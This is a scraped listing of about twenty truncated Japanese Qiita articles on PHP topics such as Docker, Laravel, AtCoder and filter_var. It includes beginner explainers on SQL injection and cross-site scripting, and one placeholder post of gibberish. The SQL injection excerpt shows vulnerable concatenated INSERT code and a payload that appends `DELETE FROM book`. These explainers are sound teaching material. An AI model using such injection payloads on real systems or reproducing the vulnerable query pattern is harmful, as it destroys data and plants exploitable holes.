- 1. Dockerのコンテナ内からlocalhost(別コンテナとか)にアクセスをする
- 2. New Relic PHP Agent を Docker で動かす(Laravel)
- 3. PHP ぼやき日記 2024-05-15
- 4. SQLインジェクション
- 5. 【AtCoder】備忘録345-B
- 6. ancel タイトルを入力してください
- 7. 【PHP】西暦から世紀を求める方法
- 8. Fatal Error Insufficient shared memory!(PHP)
- 9. LaravelのCollectionのuniqueメソッドの挙動で気になったのでコードを追ってみた
- 10. クロスサイトスクリプティング
- 11. 【PHP】str_repeat関数でfor文をより簡潔に書く
- 12. PHPが最悪のプログラミング言語ではないのに、なぜ多くの人が批判するのか?
- 13. PHPのfilter_var関数で検証を行う
- 14. PHPコード保存時にuse文を自動整理したい
- 15. マジックメソッド②
- 16. 【PHP8.4】絵文字👨👩👦👦を正しく分割できるようになる
- 17. コンテナ上でexecコマンドを実行させる際に陥った罠
- 18. Laravel + nextjsのdocker環境構築・プロジェクト立ち上げ
- 19. PHPカンファレンス香川2024に行ってきた話
- 20. webアプリ開発 パスワードリマインダー編
Dockerのコンテナ内からlocalhost(別コンテナとか)にアクセスをする
# はじめに
こんにちは、エンジニアのkeitaMaxです。
Dockerのコンテナ内からlocalhostにアクセスをしたい場面があったのでその時にやったことをメモとして残しておきます。
# 内容
接続したいコンテナの中に以下のようなコマンドを使用して入ります。
“`
docker-compose exec app bash
“`そのご以下コマンドを実行します。
“`
cat /etc/hosts | awk ‘END{print $1}’ | sed -e ‘s/[0-9]\+$/1/g’
“`すると以下のような感じで結果が返ってきます。
“`
172.20.0.1
“`これに対してアクセスをすることができます。
“`
$url = “http://172.20.0.1:8081/api/api/code-check”;
$ch = curl_init();
“`※一次的な解決策に過ぎないので、以下の記事を参考にやってみてください
# おわりに
この記事での質問や、間違っている、もっといい方法があ
New Relic PHP Agent を Docker で動かす(Laravel)
PHP で作られたアプリケーションを New Relic APM で計測したい場合は [New Relic PHP Agent](https://docs.newrelic.com/docs/apm/agents/php-agent/getting-started/introduction-new-relic-php/) を利用しますが今回は Docker 環境を利用してインストール方法を紹介します。
今回環境作成に実行したリポジトリは以下になります。
https://github.com/yuzujoe/laravel-newrelic-php-agent## 筆者環境
Apple M1 Max Sonoma 14.4.1
Docker version 24.0.7, build afdd53b
direnv 2.32.2今回は環境作成時間短縮の為に [ucan-lab/docker-laravel](https://github.com/ucan-lab/docker-laravel) をテンプレートとして利用させてもらっています。
次から実際の手順を加えていきます。
PHP ぼやき日記 2024-05-15
– [前回](https://qiita.com/sj-i/items/c41f72009d8036b2c43b)
不定期に誰に向けるでもなく PHP に関する雑な殴り書きをしている。気がつけばもう 5 月、そうか、もう 5 月だったか……。
# krakjoe の旦那の生存を確認した
– https://www.reddit.com/r/PHP/comments/1cjlvmd/comment/l3gtj3m/
– PHP コア開発者で apcu や pcov、uopz、parallel の開発者 krakjoe のひとが具合悪くなってしばらく見かけなかったけど、生存が確認された
– ただやはりまだ具合悪いようで、強い鎮痛剤使ってて頭が回らないのでかつてのようには OSS 活動やってくぞという感じでないもよう
– parallel については https://github.com/krakjoe/parallel/issues/290 で [Florian のひと](https://github.com/realFlowControl) にメンテ権限を渡したようなので、PR とか
SQLインジェクション
## はじめに
SQLインジェクションについてまとめる。
### SQLインジェクションとは
SQL命令に不正なパラメータを引き渡すことで、本来開発者が意図していなかったはずのSQL命令が生成/実行されてしまうこと。
結果として、公開されるはずでなかった機密情報が漏洩したり、需要なデータが削除されてしまう可能性がある。### 例
以下のようなコードがあったとして
“`sql
$stt = $db->prepare(“INSERT INTO book(isbn, title, price, publish, published)
VALUES(‘”.$_POST[‘isbn’].”‘, ‘”.$_POST[‘title’].”‘, ‘”.$_POST[‘price’].”‘, ‘”.$_POST[‘publish’].”‘, ‘”.$_POST[‘published’].”‘)”);
“``$_POST[‘isbn’]`に以下の入力がされたとき
“`sql
9-999-99999′, ”, ”, ”, ”);DELETE FROM book; —
`
【AtCoder】備忘録345-B
## 問題
https://atcoder.jp/contests/abc345/tasks/abc345_b
PHPで解いています。
## 解答
“`php
0){
$result = intdiv($x, 10) + 1;
} else {
$result = intdiv($x, 10);
}echo $result.PHP_EOL;
“`## つまづいたポイント
:::note info
正の整数、負の整数それぞれの切り上げ方法
:::正の場合:単純に入力値を10で割ってしまうと切り捨てになってしまうので+1をする。
“`php
$result = intdiv($x, 10) + 1;
“`負の場合:整数の商そのものが切り上げとなるため、単に整数の商を求める。
“`php
$result = intdiv($x, 10);
“`
ancel タイトルを入力してください
fasffasdsfd
![translated_image_mn.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3792699/53760c0a-e967-c2f1-ded3-42efbbc4d20d.png)
fasddddddddddddddddddddddddddddddd
【PHP】西暦から世紀を求める方法
# 初めに
最近codewarsというプログラミング練習用のサイトに登録した。私はこれまでのPJでPHPとJSはやっているので、問題はPHPで解いている。その中でこうすればさらに簡潔にプログラムを書けるなという気づきがあったので、備忘録として書く。## codewars
全て英語だが、他の人が書いた解答を見ることができる。また機会があればまとめる。
https://www.codewars.com/## 問題の内容
かなりざっくりと書くと、以下のような問題があった。>西暦から何世紀かを返す関数を書け。例えば西暦2000年は20世紀、西暦1705年は18世紀を返すこと。
このような世紀を求める問題にぴったりの関数がある。
## ceil関数
>ceil(int|float $num): float
必要に応じて num を切り上げ、 num の次に大きい整数値を返します。https://www.php.net/manual/ja/function.ceil.php
この関数を使えば以下のような処理で西暦から世紀を求めることができる。
“`ruby:PHP
fu
Fatal Error Insufficient shared memory!(PHP)
## Fatal Error Insufficient shared memory!の対応
### 概要
PHPのバージョン確認しようとするとエラー(Fatal Error Insufficient shared memory!)が出たので対応メモ。### 環境
クラウドサービス:Microsoft Azure
オペレーティングシステム:Linux(almalinux 8.8)
サイズ:Standard B1s(1 vcpu, 1 GiB メモリ)### エラー確認
“`shell
# php -v
Fri May 10 11:59:33 2024 (101741): Fatal Error Insufficient shared memory!
“`どうやらメモリ不足で正常に動作していない様子。
Swapも割り当てられていない様子。“`shell
# free -h
total used free shared buff/cache available
Mem: 88
LaravelのCollectionのuniqueメソッドの挙動で気になったのでコードを追ってみた
## ある日の出来事
「複数件のデータが取得できるはずなのに一件分しか取得できてない!」とバグがあがりました。
調べてみると取得クエリのwhereInの引数に渡す際、laravelのpluckで`$collection`から必要な要素を取り出した後にuniqueで重複削除処理をしている部分があるのですがそれによって
想定だと複数の要素が入ってくる予定なのに要素が一つだけになっていました。###
“`php
// 想定だと [1,2,3,4]と複数が入ってくるはずなのに
// 結果は、[1]が返ってきた
$targetIds = $collection->pluck(‘target_id’)->unique(‘target_id’)Target::whereIn(‘target_id’,$targetIds)->get();
“`## 結論
“`php
->pluck(‘target_id’)の部分で [1,2,3,4]のようなデータ構造になっていて
“`
その後にuniqueメソッドの引数で存在してないkeyを渡していたことが原因でした単
クロスサイトスクリプティング
## はじめに
クロスサイトスクリプティングについてまとめる
### クロスサイトスクリプティングとは
外部から入力された値に対し、エスケープ処理の不備などによって不正なスクリプトが混入/実行されてしまうこと。
### 例
以下のようなコードがあったとき、
“`php:xss.php
こんにちは、さん
“`ユーザーが以下のリンクを設置すると、http://yawai.example.com/ 上で使用しているクッキー情報をhttp://clacker.example.com/ に送信してしまうことになる。
“`
http://yawai.example.com/yawai.php?name=
“`### 対策
外部から入力された値を表示に反映する場合はエスケープ処理を施す。
【PHP】str_repeat関数でfor文をより簡潔に書く
# 初めに
最近codewarsというプログラミング練習用のサイトに登録した。私はこれまでのPJでPHPとJSはやっているので、問題はPHPで解いている。その中でこうすればさらに簡潔にプログラムを書けるなという気づきがあったので、備忘録として書く。## codewars
全て英語だが、他の人が書いた解答を見ることができる。また機会があればまとめる。
https://www.codewars.com/## 問題の内容
かなりざっくりと書くと、以下のような問題があった。>数値nの回数だけ文字列Iを繰り返して出力する
これを見た瞬間に、繰り返しだと判断した私は真っ先にこのような答えを書いた。
“`ruby:PHP
for($i = 0; $i < n; $i++){ echo "I"; } ``` for文を使った基本的な繰り返し文である。例えばn=2の場合,"II"と出力される。 ではこれを関数を使って書きなおしてみよう。 ## str_repeatを使う >str_repeat(string $string, int $times): string
str
PHPが最悪のプログラミング言語ではないのに、なぜ多くの人が批判するのか?
> それは現在のインターネットの77%を占めているからです。
インターネット上の猫の動画さえも上回る頻繁なPHPへの冗談にもかかわらず、PHPは引き続き主要なサーバーサイドスクリプト言語としての地位を確立しています。実際、驚くべきことに、統計によると、認識されたすべてのウェブサイトの77.4%がPHPで動作しており、その広範な採用を証明しています。これは、ウェブ開発者にとって効率的なPHP開発環境を構築することの重要性を強調しています。
PHPの広範な人気の秘密はそのアクセシビリティにあります。この言語は、「Hello, World!」と宣言するよりも速く、ウェブページやデータベースとの迅速な対話を可能にします。さらに、WordPressのウェブへの影響は否定できません。ウェブサイトの40%以上がこのPHPベースのプラットフォームを利用しています。macOSで作業している開発者にとって、PHPをシームレスに統合する[macOS開発スタック](https://www.servbay.com/)を構成することは、生産性とパフォーマンスを大幅に向上させることができます。
しかし、PHP
PHPのfilter_var関数で検証を行う
## はじめに
最近ChatGPTでPHPコードを生成した際Filterの存在を知った。
スクラッチ開発でメールアドレスなどの検証を行うのに正規表現を利用していたが標準機能が存在するなら利用しようと思いまとめてみた。
今回はfilter_var関数を使った検証フィルタをいくつかまとめた。他にもさまざまなFilterの機能が存在する。詳しくはPHPマニュアルを確認して欲しい。※対応バージョンはPHP 5 >= 5.2.0, PHP 7, PHP 8
※一部機能は対応していないバージョンがあるのでマニュアルを確認すること## Boolean
– “1”、”true”、”on” および “yes”の時trueを返す| フィルタの型 | |
|:————————|:———————|
| FILTER_VALIDATE_BOOLEAN | FILTER_VALIDATE_BOOL |### 検証例
– POST送信された値が真(1, true,
PHPコード保存時にuse文を自動整理したい
# やりたいこと
VS CodeでPHP保存時にuse文に対して以下を行いたい
– アルファベット順にソート
– 不要なuse文の削除# 探した拡張機能
## 候補1
https://marketplace.visualstudio.com/items?itemName=DEVSENSE.phptools-vscode
この開発元であるDEVSENSEというところの以下の紹介記事がそのものズバリ。
https://blog.devsense.com/2023/sort-uses-and-remove-unused-uses-on-php-file-save
## 候補2
https://marketplace.visualstudio.com/items?itemName=tarik02.php-imports#review-details
拡張機能のREADMEの設定項目を読むとできそうな感じがある。
# やってみる
候補2の`php-imports`を入れてみる。
候補1の`PHP`を使わなかったのは、use文の整理以外にも様々なことを行うオールインワン
マジックメソッド②
## はじめに
マジックメソッドについて整理する。2回目。
### __toStringメソッド
print命令などでオブジェクトの文字列表現を要求された際
#### 参考コード
“`php:Person.php
class Person
{
public $firstName;
public $lastName;// 中略
public function __toString() : string
{
return $this->lastName.$this->firstName;
}
}
“`“`php:toString.php
require_once ‘Person.php’;$p = new Person(‘太郎’, ‘山田’);
print $p; // 山田太郎
“`### __invokeメソッド
オブジェクトが関数の形式で呼び出された際。
#### 参考コード
“`FliendList.php
class FliendList implements Iterat
【PHP8.4】絵文字👨👩👦👦を正しく分割できるようになる
`👨👩👦👦`は25バイトありますが、[これで1文字](https://qiita.com/QUANON/items/2539feed89cee2290664)です。
さて、それでは文字列『絵文字👨👩👦👦を分割』を1文字ずつに分けてみましょう。
現在のPHP標準関数では、これを行うことができません。[mb_str_split](https://www.php.net/manual/ja/function.mb-str-split.php)すると`[‘絵’, ‘文’, ‘字’, ‘👨’, ‘’, ‘👩’, ‘’, ‘👦’, ‘’, ‘👦’, ‘を’, ‘分’, ‘割’]`になってしまいます。
間の空白なに?
これは[書記素クラスタ](https://qiita.com/_sobataro/items/47989ee4b573e0c2adfc#%E6%9B%B8%E8%A8%98%E7%B4%A0%E3%82%AF%E3%83%A9%E3%82%B9%E3%82%BF-grapheme-cluster)というもので、正直さっぱり理解できないんだけど、なんか[複数の
コンテナ上でexecコマンドを実行させる際に陥った罠
最近DockerをREST APIで操作していて色々躓いています。
なんとかChat-GPTの力を借りてやっていっています。今回は、作業しているコンテナから別のコンテナに対して任意のファイルを実行させようとしたときに詰まったことについて紹介していきたいと思います。
何に詰まったかというと、
自分のコンテナ→相手のコンテナのファイル
の実行でPHPのexec関数を用いて
“`php
exec(‘docker exec コンテナID コマンド’);
“`
としていました。
が、まさかのPermission deniedされてしまいます。対象のコンテナ内のファイルの権限が777ではないため、権限不足になってしまいます。
今回は自分がやった対処法について話したいと思います。# 素直にDockerのREST APIのexec用のAPIを叩きましょう
Dockerにはコンテナでコマンドを実行させるためのAPIが備わっています。
素直にそれを使いましょう。使い方は
“`php
//host.docker.internalはホストOS上にコンテナを立てたいときに用います。場合によ
Laravel + nextjsのdocker環境構築・プロジェクト立ち上げ
## 1.導入環境
– M1 pro macbookpro(os:sonoma:14.4.1(23E224))
– docker desktop
—
## 2.ディレクトリ構成
“`
├── README.md
├── backend
│ └── Dockerfile
├── compose.yaml
├── db
│ └── my.cnf
├── frontend
│ ├── Dockerfile
│ ├── laravel-next
│ └── package-lock.json
└── mysql
└── my.cnf
“`
—## 3.各ディレクトリのDockerfileとCompose.yaml
“`Dockerfile:frontend/Dockerfile
#node.jsを採用
FROM node:20.12.2#作業ディレクトリの設定
WORKDIR /app
“`
“`Dockerfile:backend/Dockerfile
#php8.3を使用するためのDockerfile
FROM php:8.3-apac
PHPカンファレンス香川2024に行ってきた話
# 初めに
Akira_0809です。
今回は初めてカンファレンスに参加したので、その話をしたいと思います。
ちなみに、私はPHPを学校の授業で少し触った程度で基本文法も知らない状態で参加しました。
![IMG_1220.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3241738/f8a4ce80-26f0-b1fa-0c27-d70526941d49.jpeg)# 聞いた講演
### カンファレンスからはじめよ by びきニキ
https://fortee.jp/phpconkagawa-2024/proposal/a623e984-0c15-4c5c-9fb5-84049ff09b96最初の講演はハックツハッカソンなどで少し接点のあったびきニキさんのを聞きました。
カンファレンスに参加するだけでなくその後の行動に繋げることを発信していました。
この記事を書くきっかけです。
また、他のカンファレンスに参加したいと感じました。### 泥まみれの技術革新: あなたの[ PHPバージョンアッ
webアプリ開発 パスワードリマインダー編
# 初めに
webアプリを開発したので、開発中に考えたことをまとめます
今回は記事の詳細とコメント機能についてです。# 開発環境
macOS Sonoma 14.4.1
CentoOS Stream X_86_64
Apache/2.4.57
PHP 8.3.6
mysql Ver 8.0.36
phpMyAdmin 5.2.1
composer version 2.7.2
Laravel Installer 5.7.1
Laravel Framework 11.0.5# ソースコード
https://github.com/opatu07/portfolio
# 考えたこと
## パスワードリマインダー
### 実装事例
パスワードリマインダーはログイン時にパスワードを忘れてしまったユーザーのために作りたいなと思って作りました。「ログイン画面でパスワードを忘れてしまった方へ」を押してもらうとパスワード再設定用のメール送信画面へ移動します。
![login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaw